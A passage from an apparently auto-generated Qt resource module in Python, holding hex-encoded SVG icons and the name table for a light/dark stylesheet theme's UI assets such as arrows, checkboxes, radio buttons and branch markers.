\x31\x33\x2e\x35\x32\x34\x2c\x35\x32\x35\x2e\x33\x35\x38\x20\x36\
\x30\x30\x2c\x35\x33\x38\x2e\x32\x36\x37\x20\x6c\x20\x2d\x32\x32\
\x36\x2e\x34\x38\x37\x2c\x2d\x32\x32\x36\x2e\x37\x32\x39\x20\x2d\
\x36\x31\x2e\x39\x37\x35\x2c\x30\x20\x30\x2c\x36\x30\x2e\x36\x31\
\x31\x20\x4c\x20\x35\x33\x38\x2e\x30\x32\x36\x2c\x36\x30\x30\x20\
\x33\x31\x31\x2e\x35\x33\x38\x2c\x38\x32\x36\x2e\x37\x32\x39\x20\
\x6c\x20\x30\x2c\x36\x31\x2e\x37\x33\x33\x20\x36\x30\x2e\x38\x34\
\x38\x2c\x30\x20\x71\x20\x33\x34\x2e\x33\x36\x33\x2c\x2d\x33\x34\
\x2e\x37\x39\x32\x20\x36\x38\x2e\x37\x33\x35\x2c\x2d\x36\x39\x2e\
\x35\x39\x20\x4c\x20\x36\x30\x30\x2c\x36\x36\x31\x2e\x37\x33\x33\
\x20\x6c\x20\x32\x32\x36\x2e\x34\x38\x37\x2c\x32\x32\x36\x2e\x37\
\x32\x39\x20\x36\x31\x2e\x39\x37\x35\x2c\x30\x20\x30\x2c\x2d\x36\
\x30\x2e\x36\x31\x31\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\x22\x23\
\x36\x32\x36\x35\x36\x38\x22\x2f\x3e\x0a\x3c\x2f\x73\x76\x67\x3e\
\x0a\
\x00\x00\x01\x4a\
\x3c\
\x73\x76\x67\x20\x78\x3d\x22\x30\x70\x78\x22\x20\x79\x3d\x22\x30\
\x70\x78\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x31\x38\x70\x78\x22\
\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x31\x38\x70\x78\x22\x20\x76\
\x69\x65\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x31\x38\x20\x31\
\x38\x22\x20\x65\x6e\x61\x62\x6c\x65\x2d\x62\x61\x63\x6b\x67\x72\
\x6f\x75\x6e\x64\x3d\x22\x6e\x65\x77\x20\x30\x20\x30\x20\x31\x38\
\x20\x31\x38\x22\x20\x78\x6d\x6c\x3a\x73\x70\x61\x63\x65\x3d\x22\
\x70\x72\x65\x73\x65\x72\x76\x65\x22\x3e\x0a\x20\x20\x3c\x70\x61\
\x74\x68\x20\x64\x3d\x22\x4d\x32\x2c\x32\x20\x68\x31\x34\x20\x76\
\x31\x34\x20\x68\x2d\x30\x2e\x39\x20\x76\x2d\x31\x33\x2e\x31\x20\
\x68\x2d\x31\x33\x2e\x31\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\x22\
\x23\x35\x38\x64\x33\x66\x66\x22\x2f\x3e\x0a\x20\x20\x3c\x70\x61\
\x74\x68\x20\x64\x3d\x22\x4d\x31\x36\x2c\x31\x36\x20\x68\x2d\x31\
\x34\x20\x76\x2d\x31\x34\x20\x68\x30\x2e\x39\x20\x76\x31\x33\x2e\
\x31\x20\x68\x31\x33\x2e\x31\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\
\x22\x23\x35\x38\x64\x33\x66\x66\x22\x2f\x3e\x0a\x20\x20\x3c\x70\
\x61\x74\x68\x20\x64\x3d\x22\x4d\x35\x2c\x35\x20\x68\x38\x20\x76\
\x38\x20\x68\x2d\x38\x20\x76\x2d\x38\x20\x7a\x22\x20\x66\x69\x6c\
\x6c\x3d\x22\x23\x35\x38\x64\x33\x66\x66\x22\x20\x66\x69\x6c\x6c\
\x2d\x72\x75\x6c\x65\x3d\x22\x65\x76\x65\x6e\x6f\x64\x64\x22\x2f\
\x3e\x0a\x3c\x2f\x73\x76\x67\x3e\x0a\
\x00\x00\x00\xad\
\x3c\
\x73\x76\x67\x20\x77\x69\x64\x74\x68\x3d\x22\x38\x31\x22\x20\x68\
\x65\x69\x67\x68\x74\x3d\x22\x35\x38\x22\x3e\x0a\x20\x20\x3c\x72\
\x65\x63\x74\x20\x69\x64\x3d\x22\x56\x4c\x69\x6e\x65\x22\x20\x66\
\x69\x6c\x6c\x3d\x22\x23\x36\x32\x36\x35\x36\x38\x22\x20\x78\x3d\
\x22\x33\x36\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x32\x22\x20\x68\
\x65\x69\x67\x68\x74\x3d\x22\x31\x34\x22\x2f\x3e\x0a\x20\x20\x3c\
\x72\x65\x63\x74\x20\x69\x64\x3d\x22\x48\x4c\x69\x6e\x65\x22\x20\
\x66\x69\x6c\x6c\x3d\x22\x23\x36\x32\x36\x35\x36\x38\x22\x20\x78\
\x3d\x22\x36\x35\x22\x20\x79\x3d\x22\x32\x38\x22\x20\x68\x65\x69\
\x67\x68\x74\x3d\x22\x31\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x32\
\x38\x22\x2f\x3e\x0a\x3c\x2f\x73\x76\x67\x3e\x0a\
\x00\x00\x00\xad\
\x3c\
\x73\x76\x67\x20\x77\x69\x64\x74\x68\x3d\x22\x38\x31\x22\x20\x68\
\x65\x69\x67\x68\x74\x3d\x22\x35\x38\x22\x3e\x0a\x20\x20\x3c\x72\
\x65\x63\x74\x20\x69\x64\x3d\x22\x56\x4c\x69\x6e\x65\x22\x20\x66\
\x69\x6c\x6c\x3d\x22\x23\x36\x32\x36\x35\x36\x38\x22\x20\x78\x3d\
\x22\x33\x36\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x32\x22\x20\x68\
\x65\x69\x67\x68\x74\x3d\x22\x32\x38\x22\x2f\x3e\x0a\x20\x20\x3c\
\x72\x65\x63\x74\x20\x69\x64\x3d\x22\x48\x4c\x69\x6e\x65\x22\x20\
\x66\x69\x6c\x6c\x3d\x22\x23\x36\x32\x36\x35\x36\x38\x22\x20\x78\
\x3d\x22\x33\x36\x22\x20\x79\x3d\x22\x32\x38\x22\x20\x68\x65\x69\
\x67\x68\x74\x3d\x22\x31\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x35\
\x37\x22\x2f\x3e\x0a\x3c\x2f\x73\x76\x67\x3e\x0a\
\x00\x00\x02\x3e\
\x3c\
\x73\x76\x67\x20\x78\x3d\x22\x30\x70\x78\x22\x20\x79\x3d\x22\x30\
\x70\x78\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x36\x33\x70\x78\x22\
\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x37\x70\x78\x22\x20\x76\x69\
\x65\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x36\x33\x20\x37\x22\
\x20\x65\x6e\x61\x62\x6c\x65\x2d\x62\x61\x63\x6b\x67\x72\x6f\x75\
\x6e\x64\x3d\x22\x6e\x65\x77\x20\x30\x20\x30\x20\x36\x33\x20\x37\
\x22\x20\x78\x6d\x6c\x3a\x73\x70\x61\x63\x65\x3d\x22\x70\x72\x65\
\x73\x65\x72\x76\x65\x22\x3e\x0a\x20\x20\x3c\x72\x65\x63\x74\x20\
\x69\x64\x3d\x22\x44\x61\x72\x6b\x31\x22\x20\x64\x61\x74\x61\x2d\
\x6e\x61\x6d\x65\x3d\x22\x44\x61\x72\x6b\x31\x22\x20\x66\x69\x6c\
\x6c\x3d\x22\x23\x32\x39\x32\x63\x33\x31\x22\x20\x78\x3d\x22\x32\
\x35\x22\x20\x79\x3d\x22\x31\x22\x20\x77\x69\x64\x74\x68\x3d\x22\
\x31\x22\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x35\x22\x2f\x3e\x0a\
\x20\x20\x3c\x72\x65\x63\x74\x20\x69\x64\x3d\x22\x44\x61\x72\x6b\
\x32\x22\x20\x64\x61\x74\x61\x2d\x6e\x61\x6d\x65\x3d\x22\x44\x61\
\x72\x6b\x32\x22\x20\x66\x69\x6c\x6c\x3d\x22\x23\x32\x39\x32\x63\
\x33\x31\x22\x20\x78\x3d\x22\x33\x38\x22\x20\x79\x3d\x22\x31\x22\
\x20\x77\x69\x64\x74\x68\x3d\x22\x31\x22\x20\x68\x65\x69\x67\x68\
\x74\x3d\x22\x35\x22\x2f\x3e\x0a\x20\x20\x3c\x72\x65\x63\x74\x20\
\x69\x64\x3d\x22\x4c\x69\x67\x68\x74\x31\x22\x20\x64\x61\x74\x61\
\x2d\x6e\x61\x6d\x65\x3d\x22\x4c\x69\x67\x68\x74\x31\x22\x20\x66\
\x69\x6c\x6c\x3d\x22\x23\x37\x66\x38\x37\x39\x35\x22\x20\x78\x3d\
\x22\x32\x33\x22\x20\x79\x3d\x22\x31\x22\x20\x77\x69\x64\x74\x68\
\x3d\x22\x32\x22\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x35\x22\x2f\
\x3e\x0a\x20\x20\x3c\x72\x65\x63\x74\x20\x69\x64\x3d\x22\x4c\x69\
\x67\x68\x74\x32\x22\x20\x64\x61\x74\x61\x2d\x6e\x61\x6d\x65\x3d\
\x22\x4c\x69\x67\x68\x74\x32\x22\x20\x66\x69\x6c\x6c\x3d\x22\x23\
\x37\x66\x38\x37\x39\x35\x22\x20\x78\x3d\x22\x33\x30\x22\x20\x79\
\x3d\x22\x31\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x32\x22\x20\x68\
\x65\x69\x67\x68\x74\x3d\x22\x35\x22\x2f\x3e\x0a\x20\x20\x3c\x72\
\x65\x63\x74\x20\x69\x64\x3d\x22\x4c\x69\x67\x68\x74\x33\x22\x20\
\x64\x61\x74\x61\x2d\x6e\x61\x6d\x65\x3d\x22\x4c\x69\x67\x68\x74\
\x33\x22\x20\x66\x69\x6c\x6c\x3d\x22\x23\x37\x66\x38\x37\x39\x35\
\x22\x20\x78\x3d\x22\x33\x36\x22\x20\x79\x3d\x22\x31\x22\x20\x77\
\x69\x64\x74\x68\x3d\x22\x32\x22\x20\x68\x65\x69\x67\x68\x74\x3d\
\x22\x35\x22\x2f\x3e\x0a\x3c\x2f\x73\x76\x67\x3e\x0a\
\x00\x00\x01\xcf\
\x3c\
\x73\x76\x67\x20\x77\x69\x64\x74\x68\x3d\x22\x36\x22\x20\x68\x65\
\x69\x67\x68\x74\x3d\x22\x39\x22\x3e\x0a\x20\x20\x3c\x70\x61\x74\
\x68\x20\x64\x3d\x22\x6d\x20\x30\x2e\x39\x31\x36\x36\x39\x37\x32\
\x2c\x31\x2e\x31\x38\x39\x34\x35\x39\x33\x20\x33\x2e\x33\x31\x30\
\x33\x32\x31\x2c\x33\x2e\x33\x31\x30\x35\x34\x30\x38\x20\x2d\x33\
\x2e\x33\x31\x31\x37\x34\x31\x37\x2c\x33\x2e\x33\x31\x30\x35\x34\
\x30\x38\x20\x63\x20\x2d\x30\x2e\x31\x35\x37\x37\x30\x32\x2c\x30\
\x2e\x31\x35\x37\x37\x31\x32\x35\x20\x2d\x30\x2e\x31\x35\x37\x37\
\x30\x32\x2c\x30\x2e\x34\x31\x33\x34\x36\x32\x34\x20\x30\x2c\x30\
\x2e\x35\x37\x31\x31\x37\x34\x39\x20\x30\x2e\x31\x35\x37\x37\x30\
\x32\x2c\x30\x2e\x31\x35\x37\x37\x31\x32\x33\x20\x30\x2e\x34\x31\
\x33\x34\x33\x34\x39\x2c\x30\x2e\x31\x35\x37\x37\x31\x32\x33\x20\
\x30\x2e\x35\x37\x31\x31\x33\x36\x39\x2c\x30\x20\x6c\x20\x33\x2e\
\x35\x39\x37\x33\x31\x30\x32\x2c\x2d\x33\x2e\x35\x39\x36\x31\x32\
\x38\x33\x20\x30\x2c\x30\x20\x30\x2c\x30\x20\x63\x20\x30\x2e\x31\
\x35\x37\x37\x30\x31\x39\x2c\x2d\x30\x2e\x31\x35\x37\x37\x31\x32\
\x34\x20\x30\x2e\x31\x35\x37\x37\x30\x31\x39\x2c\x2d\x30\x2e\x34\
\x31\x33\x34\x36\x32\x34\x20\x30\x2c\x2d\x30\x2e\x35\x37\x31\x31\
\x37\x34\x38\x20\x4c\x20\x31\x2e\x34\x38\x36\x34\x31\x33\x34\x2c\
\x30\x2e\x36\x31\x38\x32\x38\x34\x33\x37\x20\x63\x20\x2d\x30\x2e\
\x31\x35\x37\x37\x30\x32\x2c\x2d\x30\x2e\x31\x35\x37\x37\x31\x32\
\x34\x20\x2d\x30\x2e\x34\x31\x33\x34\x33\x34\x39\x2c\x2d\x30\x2e\
\x31\x35\x37\x37\x31\x32\x34\x20\x2d\x30\x2e\x35\x37\x31\x31\x33\
\x36\x39\x2c\x30\x20\x2d\x30\x2e\x31\x35\x36\x32\x38\x31\x33\x2c\
\x30\x2e\x31\x35\x37\x37\x31\x32\x35\x20\x2d\x30\x2e\x31\x35\x36\
\x32\x38\x31\x33\x2c\x30\x2e\x34\x31\x33\x34\x36\x32\x34\x33\x20\
\x30\x2e\x30\x30\x31\x34\x32\x2c\x30\x2e\x35\x37\x31\x31\x37\x34\
\x39\x33\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\x22\x23\x62\x30\x62\
\x30\x62\x30\x22\x2f\x3e\x0a\x3c\x2f\x73\x76\x67\x3e\x0a\
"
qt_resource_name = b"\
\x00\x09\
\x0d\xf7\xbd\x43\
\x00\x6c\
\x00\x69\x00\x67\x00\x68\x00\x74\x00\x2e\x00\x71\x00\x73\x00\x73\
\x00\x04\
\x00\x06\xa8\x8b\
\x00\x64\
\x00\x61\x00\x72\x00\x6b\
\x00\x08\
\x08\x8e\x55\xe3\
\x00\x64\
\x00\x61\x00\x72\x00\x6b\x00\x2e\x00\x71\x00\x73\x00\x73\
\x00\x05\
\x00\x72\xfd\xf4\
\x00\x6c\
\x00\x69\x00\x67\x00\x68\x00\x74\
\x00\x10\
\x07\xee\x36\xc7\
\x00\x75\
\x00\x6e\x00\x64\x00\x6f\x00\x63\x00\x6b\x00\x2d\x00\x68\x00\x6f\x00\x76\x00\x65\x00\x72\x00\x2e\x00\x73\x00\x76\x00\x67\
\x00\x11\
\x0a\xe5\x61\x87\
\x00\x72\
\x00\x61\x00\x64\x00\x69\x00\x6f\x00\x5f\x00\x63\x00\x68\x00\x65\x00\x63\x00\x6b\x00\x65\x00\x64\x00\x2e\x00\x73\x00\x76\x00\x67\
\
\x00\x0f\
\x02\x9f\x08\x07\
\x00\x72\
\x00\x69\x00\x67\x00\x68\x00\x74\x00\x5f\x00\x61\x00\x72\x00\x72\x00\x6f\x00\x77\x00\x2e\x00\x73\x00\x76\x00\x67\
\x00\x14\
\x05\x80\x73\xc7\
\x00\x64\
\x00\x6f\x00\x77\x00\x6e\x00\x5f\x00\x61\x00\x72\x00\x72\x00\x6f\x00\x77\x00\x2d\x00\x68\x00\x6f\x00\x76\x00\x65\x00\x72\x00\x2e\
\x00\x73\x00\x76\x00\x67\
\x00\x0c\
\x06\x41\x4d\x07\
\x00\x73\
\x00\x69\x00\x7a\x00\x65\x00\x67\x00\x72\x00\x69\x00\x70\x00\x2e\x00\x73\x00\x76\x00\x67\
\x00\x1a\
\x01\x87\xa3\xe7\
\x00\x63\
\x00\x68\x00\x65\x00\x63\x00\x6b\x00\x62\x00\x6f\x00\x78\x00\x5f\x00\x69\x00\x6e\x00\x64\x00\x65\x00\x74\x00\x65\x00\x72\x00\x6d\
\x00\x69\x00\x6e\x00\x61\x00\x74\x00\x65\x00\x2e\x00\x73\x00\x76\x00\x67\
\x00\x0f\
\x06\x53\x28\x27\
\x00\x62\
\x00\x72\x00\x61\x00\x6e\x00\x63\x00\x68\x00\x5f\x00\x6f\x00\x70\x00\x65\x00\x6e\x00\x2e\x00\x73\x00\x76\x00\x67\
\x00\x10\
\x01\x08\xc7\x27\
\x00\x68\
\x00\x6d\x00\x6f\x00\x76\x00\x65\x00\x74\x00\x6f\x00\x6f\x00\x6c\x00\x62\x00\x61\x00\x72\x00\x2e\x00\x73\x00\x76\x00\x67\
\x00\x1c\
\x01\xe0\x47\x87\
\x00\x72\
\x00\x61\x00\x64\x00\x69\x00\x6f\x00\x5f\x00\x75\x00\x6e\x00\x63\x00\x68\x00\x65\x00\x63\x00\x6b\x00\x65\x00\x64\x00\x5f\x00\x64\
\x00\x69\x00\x73\x00\x61\x00\x62\x00\x6c\x00\x65\x00\x64\x00\x2e\x00\x73\x00\x76\x00\x67\
\x00\x14\
\x0b\xc5\xda\x47\
\x00\x73\
\x00\x74\x00\x79\x00\x6c\x00\x65\x00\x73\x00\x68\x00\x65\x00\x65\x00\x74\x00\x2d\x00\x76\x00\x6c\x00\x69\x00\x6e\x00\x65\x00\x2e\
\x00\x73\x00\x76\x00\x67\
\x00\x0c\
\x06\xe6\xeb\xe7\
\x00\x75\
\x00\x70\x00\x5f\x00\x61\x00\x72\x00\x72\x00\x6f\x00\x77\x00\x2e\x00\x73\x00\x76\x00\x67\
\x00\x10\
\x01\x0f\x47\x27\
\x00\x76\
\x00\x6d\x00\x6f\x00\x76\x00\x65\x00\x74\x00\x6f\x00\x6f\x00\x6c\x00\x62\x00\x61\x00\x72\x00\x2e\x00\x73\x00\x76\x00\x67\
\x00\x0a\
\x05\x95\xd3\xa7\
\x00\x75\
\x00\x6e\x00\x64\x00\x6f\x00\x63\x00\x6b\x00\x2e\x00\x73\x00\x76\x00\x67\
\x00\x14\
\x06\x5e\x21\x87\
\x00\x62\
\x00\x72\x00\x61\x00\x6e\x00\x63\x00\x68\x00\x5f\x00\x63\x00\x6c\x00\x6f\x00\x73\x00\x65\x00\x64\x00\x2d\x00\x6f\x00\x6e\x00\x2e\
\x00\x73\x00\x76\x00\x67\
\x00\x17\
\x09\x0f\x52\xa7\
\x00\x72\
\x00\x61\x00\x64\x00\x69\x00\x6f\x00\x5f\x00\x63\x00\x68\x00\x65\x00\x63\x00\x6b\x00\x65\x00\x64\x00\x2d\x00\x68\x00\x6f\x00\x76\
\x00\x65\x00\x72\x00\x2e\x00\x73\x00\x76\x00\x67\
\x00\x12\
\x01\x08\x46\x47\
\x00\x75\
\x00\x70\x00\x5f\x00\x61\x00\x72\x00\x72\x00\x6f\x00\x77\x00\x2d\x00\x68\x00\x6f\x00\x76\x00\x65\x00\x72\x00\x2e\x00\x73\x00\x76\
\x00\x67\
\x00\x11\
\x08\x90\x99\xe7\
\x00\x63\
\x00\x6c\x00\x6f\x00\x73\x00\x65\x00\x2d\x00\x70\x00\x72\x00\x65\x00\x73\x00\x73\x00\x65\x00\x64\x00\x2e\x00\x73\x00\x76\x00\x67\
\
\x00\x17\
\x0c\x65\xc3\x87\
\x00\x6c\
\x00\x65\x00\x66\x00\x74\x00\x5f\x00\x61\x00\x72\x00\x72\x00\x6f\x00\x77\x00\x5f\x00\x64\x00\x69\x00\x73\x00\x61\x00\x62\x00\x6c\
\x00\x65\x00\x64\x00\x2e\x00\x73\x00\x76\x00\x67\
\x00\x15\
\x0f\xf3\xcd\x87\
\x00\x75\
\x00\x70\x00\x5f\x00\x61\x00\x72\x00\x72\x00\x6f\x00\x77\x00\x5f\x00\x64\x00\x69\x00\x73\x00\x61\x00\x62\x00\x6c\x00\x65\x00\x64\
\x00\x2e\x00\x73\x00\x76\x00\x67\
\x00\x1d\
\x09\x07\x8c\x87\
\x00\x63\
\x00\x68\x00\x65\x00\x63\x00\x6b\x00\x62\x00\x6f\x00\x78\x00\x5f\x00\x63\x00\x68\x00\x65\x00\x63\x00\x6b\x00\x65\x00\x64\x00\x5f\
\x00\x64\x00\x69\x00\x73\x00\x61\x00\x62\x00\x6c\x00\x65\x00\x64\x00\x2e\x00\x73\x00\x76\x00\x67\
\x00\x17\
\x0c\xab\x5c\x87\
\x00\x64\
\x00\x6f\x00\x77\x00\x6e\x00\x5f\x00\x61\x00\x72\x00\x72\x00\x6f\x00\x77\x00\x5f\x00\x64\x00\x69\x00\x73\x00\x61\x00\x62\x00\x6c\
\x00\x65\x00\x64\x00\x2e\x00\x73\x00\x76\x00\x67\
\x00\x1a\
\x03\x1c\x29\x07\
\x00\x63\
\x00\x68\x00\x65\x00\x63\x00\x6b\x00\x62\x00\x6f\x00\x78\x00\x5f\x00\x63\x00\x68\x00\x65\x00\x63\x00\x6b\x00\x65\x00\x64\x00\x2d\
\x00\x68\x00\x6f\x00\x76\x00\x65\x00\x72\x00\x2e\x00\x73\x00\x76\x00\x67\
\x00\x23\
\x06\xf2\x17\xc7\
\x00\x63\
\x00\x68\x00\x65\x00\x63\x00\x6b\x00\x62\x00\x6f\x00\x78\x00\x5f\x00\x69\x00\x6e\x00\x64\x00\x65\x00\x74\x00\x65\x00\x72\x00\x6d\
\x00\x69\x00\x6e\x00\x61\x00\x74\x00\x65\x00\x5f\x00\x64\x00\x69\x00\x73\x00\x61\x00\x62\x00\x6c\x00\x65\x00\x64\x00\x2e\x00\x73\
\x00\x76\x00\x67\
\x00\x0f\
\x01\xf4\x8c\xc7\
\x00\x63\
\x00\x6c\x00\x6f\x00\x73\x00\x65\x00\x2d\x00\x68\x00\x6f\x00\x76\x00\x65\x00\x72\x00\x2e\x00\x73\x00\x76\x00\x67\
\x00\x1e\
\x03\xc6\x81\x67\
\x00\x73\
\x00\x74\x00\x79\x00\x6c\x00\x65\x00\x73\x00\x68\x00\x65\x00\x65\x00\x74\x00\x2d\x00\x62\x00\x72\x00\x61\x00\x6e\x00\x63\x00\x68\
\x00\x2d\x00\x65\x00\x6e\x00\x64\x00\x2d\x00\x6f\x00\x70\x00\x65\x00\x6e\x00\x2e\x00\x73\x00\x76\x00\x67\
\x00\x1f\
\x0a\xae\x2a\xc7\
\x00\x63\
\x00\x68\x00\x65\x00\x63\x00\x6b\x00\x62\x00\x6f\x00\x78\x00\x5f\x00\x75\x00\x6e\x00\x63\x00\x68\x00\x65\x00\x63\x00\x6b\x00\x65\
\x00\x64\x00\x5f\x00\x64\x00\x69\x00\x73\x00\x61\x00\x62\x00\x6c\x00\x65\x00\x64\x00\x2e\x00\x73\x00\x76\x00\x67\
\x00\x11\
\x08\x0c\x67\x27\
\x00\x68\
\x00\x73\x00\x65\x00\x70\x00\x61\x00\x72\x00\x74\x00\x6f\x00\x6f\x00\x6c\x00\x62\x00\x61\x00\x72\x00\x2e\x00\x73\x00\x76\x00\x67\
\
\x00\x11\
\x0b\xda\x3d\x27\
\x00\x62\
\x00\x72\x00\x61\x00\x6e\x00\x63\x00\x68\x00\x5f\x00\x63\x00\x6c\x00\x6f\x00\x73\x00\x65\x00\x64\x00\x2e\x00\x73\x00\x76\x00\x67\
\
\x00\x0e\
\x04\xa2\xf1\x27\
\x00\x64\
\x00\x6f\x00\x77\x00\x6e\x00\x5f\x00\x61\x00\x72\x00\x72\x00\x6f\x00\x77\x00\x2e\x00\x73\x00\x76\x00\x67\
\x00\x12\
\x07\x8f\x90\xa7\
\x00\x62\
\x00\x72\x00\x61\x00\x6e\x00\x63\x00\x68\x00\x5f\x00\x6f\x00\x70\x00\x65\x00\x6e\x00\x2d\x00\x6f\x00\x6e\x00\x2e\x00\x73\x00\x76\
\x00\x67\
\x00\x1a\
\x01\x21\xe6\xc7\
\x00\x73\
\x00\x74\x00\x79\x00\x6c\x00\x65\x00\x73\x00\x68\x00\x65\x00\x65\x00\x74\x00\x2d\x00\x62\x00\x72\x00\x61\x00\x6e\x00\x63\x00\x68\
\x00\x2d\x00\x6d\x00\x6f\x00\x72\x00\x65\x00\x2e\x00\x73\x00\x76\x00\x67\
\x00\x1a\
\x0e\xbc\xce\xe7\
\x00\x72\
\x00\x61\x00\x64\x00\x69\x00\x6f\x00\x5f\x00\x63\x00\x68\x00\x65\x00\x63\x00\x6b\x00\x65\x00\x64\x00\x5f\x00\x64\x00\x69\x00\x73\
\x00\x61\x00\x62\x00\x6c\x00\x65\x00\x64\x00\x2e\x00\x73\x00\x76\x00\x67\
\x00\x0f\
\x0c\xe2\x65\xe7\
\x00\x74\
\x00\x72\x00\x61\x00\x6e\x00\x73\x00\x70\x00\x61\x00\x72\x00\x65\x00\x6e\x00\x74\x00\x2e\x00\x73\x00\x76\x00\x67\
\x00\x0e\
\x0e\xde\xf7\x47\
\x00\x6c\
\x00\x65\x00\x66\x00\x74\x00\x5f\x00\x61\x00\x72\x00\x72\x00\x6f\x00\x77\x00\x2e\x00\x73\x00\x76\x00\x67\
\x00\x1c\
\x0e\x2e\x13\x87\
\x00\x63\
\x00\x68\x00\x65\x00\x63\x00\x6b\x00\x62\x00\x6f\x00\x78\x00\x5f\x00\x75\x00\x6e\x00\x63\x00\x68\x00\x65\x00\x63\x00\x6b\x00\x65\
\x00\x64\x00\x2d\x00\x68\x00\x6f\x00\x76\x00\x65\x00\x72\x00\x2e\x00\x73\x00\x76\x00\x67\
\x00\x09\
\x06\x98\x8e\xa7\
\x00\x63\
\x00\x6c\x00\x6f\x00\x73\x00\x65\x00\x2e\x00\x73\x00\x76\x00\x67\
\x00\x14\
\x07\xec\xdc\x47\
\x00\x63\
\x00\x68\x00\x65\x00\x63\x00\x6b\x00\x62\x00\x6f\x00\x78\x00\x5f\x00\x63\x00\x68\x00\x65\x00\x63\x00\x6b\x00\x65\x00\x64\x00\x2e\
\x00\x73\x00\x76\x00\x67\
\x00\x20\
\x0e\x63\xf6\x07\
\x00\x73\
\x00\x74\x00\x79\x00\x6c\x00\x65\x00\x73\x00\x68\x00\x65\x00\x65\x00\x74\x00\x2d\x00\x62\x00\x72\x00\x61\x00\x6e\x00\x63\x00\x68\
\x00\x2d\x00\x65\x00\x6e\x00\x64\x00\x2d\x00\x63\x00\x6c\x00\x6f\x00\x73\x00\x65\x00\x64\x00\x2e\x00\x73\x00\x76\x00\x67\
\x00\x20\
\x0f\xca\xd6\x47\
\x00\x63\
\x00\x68\x00\x65\x00\x63\x00\x6b\x00\x62\x00\x6f\x00\x78\x00\x5f\x00\x69\x00\x6e\x00\x64\x00\x65\x00\x74\x00\x65\x00\x72\x00\x6d\
\x00\x69\x00\x6e\x00\x61\x00\x74\x00\x65\x00\x2d\x00\x68\x00\x6f\x00\x76\x00\x65\x00\x72\x00\x2e\x00\x73\x00\x76\x00\x67\
\x00\x19\
\x08\x3e\xc1\x87\
\x00\x73\
\x00\x74\x00\x79\x00\x6c\x00\x65\x00\x73\x00\x68\x00\x65\x00\x65\x00\x74\x00\x2d\x00\x62\x00\x72\x00\x61\x00\x6e\x00\x63\x00\x68\
\x00\x2d\x00\x65\x00\x6e\x00\x64\x00\x2e\x00\x73\x00\x76\x00\x67\
\x00\x19\
\x0d\x54\xa7\x67\
\x00\x72\
\x00\x61\x00\x64\x00\x69\x00\x6f\x00\x5f\x00\x75\x00\x6e\x00\x63\x00\x68\x00\x65\x00\x63\x00\x6b\x00\x65\x00\x64\x00\x2d\x00\x68\
\x00\x6f\x00\x76\x00\x65\x00\x72\x00\x2e\x00\x73\x00\x76\x00\x67\
\x00\x12\
\x04\x89\x85\xc7\
\x00\x76\
\x00\x73\x00\x65\x00\x70\x00\x61\x00\x72\x00\x74\x00\x6f\x00\x6f\x00\x6c\x00\x62\x00\x61\x00\x72\x00\x73\x00\x2e\x00\x73\x00\x76\
\x00\x67\
\x00\x18\
\x03\x8e\xd3\xe7\
\x00\x72\
\x00\x69\x00\x67\x00\x68\x00\x74\x00\x5f\x00\x61\x00\x72\x00\x72\x00\x6f\x00\x77\x00\x5f\x00\x64\x00\x69\x00\x73\x00\x61\x00\x62\
\x00\x6c\x00\x65\x00\x64\x00\x2e\x00\x73\x00\x76\x00\x67\
\x00\x13\
\x08\xc8\x9b\x67\
\x00\x72\
\x00\x61\x00\x64\x00\x69\x00\x6f\x00\x5f\x00\x75\x00\x6e\x00\x63\x00\x68\x00\x65\x00\x63\x00\x6b\x00\x65\x00\x64\x00\x2e\x00\x73\
\x00\x76\x00\x67\
\x00\x16\
\x01\x75\xc1\x07\
\x00\x63\
\x00\x68\x00\x65\x00\x63\x00\x6b\x00\x62\x00\x6f\x00\x78\x00\x5f\x00\x75\x00\x6e\x00\x63\x00\x68\x00\x65\x00\x63\x00\x6b\x00\x65\
\x00\x64\x00\x2e\x00\x73\x00\x76\x00\x67\
"
qt_resource_struct_v1 = b"\
\x00\x00\x00\x00\x00\x02\x00\x00\x00\x04\x00\x00\x00\x01\
\x00\x00\x00\x18\x00\x02\x00\x00\x00\x28\x00\x00\x00\x30\
\x00\x00\x00\x3c\x00\x02\x00\x00\x00\x2b\x00\x00\x00\x05\
\x00\x00\x00\x26\x00\x01\x00\x00\x00\x01\x00\x00\x13\xea\
\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\
\x00\x00\x02\xba\x00\x00\x00\x00\x00\x01\x00\x00\x3c\x6f\
\x00\x00\x01\x68\x00\x00\x00\x00\x00\x01\x00\x00\x32\x4e\
\x00\x00\x02\x18\x00\x00\x00\x00\x00\x01\x00\x00\x37\x2d\
\x00\x00\x05\xb0\x00\x00\x00\x00\x00\x01\x00\x00\x53\x19\
\x00\x00\x01\x0a\x00\x00\x00\x00\x00\x01\x00\x00\x30\x08\
\x00\x00\x01\x8e\x00\x00\x00\x00\x00\x01\x00\x00\x33\x50\
\x00\x00\x04\x6a\x00\x00\x00\x00\x00\x01\x00\x00\x4b\xbc\
\x00\x00\x00\x9a\x00\x00\x00\x00\x00\x01\x00\x00\x2a\xb4\
\x00\x00\x03\xe4\x00\x00\x00\x00\x00\x01\x00\x00\x48\x7e\
\x00\x00\x08\x14\x00\x00\x00\x00\x00\x01\x00\x00\x63\x25\
\x00\x00\x04\x8e\x00\x00\x00\x00\x00\x01\x00\x00\x4d\xd2\
\x00\x00\x07\xea\x00\x00\x00\x00\x00\x01\x00\x00\x60\xe3\
\x00\x00\x05\x64\x00\x00\x00\x00\x00\x01\x00\x00\x50\x9d\
\x00\x00\x00\xbe\x00\x00\x00\x00\x00\x01\x00\x00\x2c\xe2\
\x00\x00\x02\x3e\x00\x00\x00\x00\x00\x01\x00\x00\x39\xca\
